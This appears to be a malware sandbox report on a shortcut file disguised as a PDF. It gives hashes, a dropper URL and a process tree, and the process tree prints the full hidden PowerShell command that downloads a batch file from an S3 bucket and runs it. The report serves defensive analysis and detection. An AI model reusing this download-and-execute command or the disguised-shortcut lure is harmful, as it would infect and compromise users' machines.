Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    15/06/2024, 07:51

General

  • Target

    Telex88357 pdf_lnk.lnk

  • Size

    2KB

  • MD5

    f74968ddce728020a6b4a1378bbf4d41

  • SHA1

    ba807d98906bf7dc33eb237c4da13162f599b595

  • SHA256

    ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50

  • SHA512

    4a226c31e74305594a34053b5cafa5d11ba37835c7c631734a2d8a0b65f1de85126b76a6befd0901386a1d986d1b5be1e311a9bfea952017e1eb658b37869b82

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Telex88357 pdf_lnk.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat', 'C:\Users\Admin\AppData\Roaming\cor.bat'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\cor.bat'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2592-38-0x000007FEF565E000-0x000007FEF565F000-memory.dmp

    Filesize

    4KB

  • memory/2592-39-0x000000001B670000-0x000000001B952000-memory.dmp

    Filesize

    2.9MB

  • memory/2592-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

    Filesize

    32KB

  • memory/2592-41-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

    Filesize

    9.6MB

  • memory/2592-42-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

    Filesize

    9.6MB

  • memory/2592-43-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

    Filesize

    9.6MB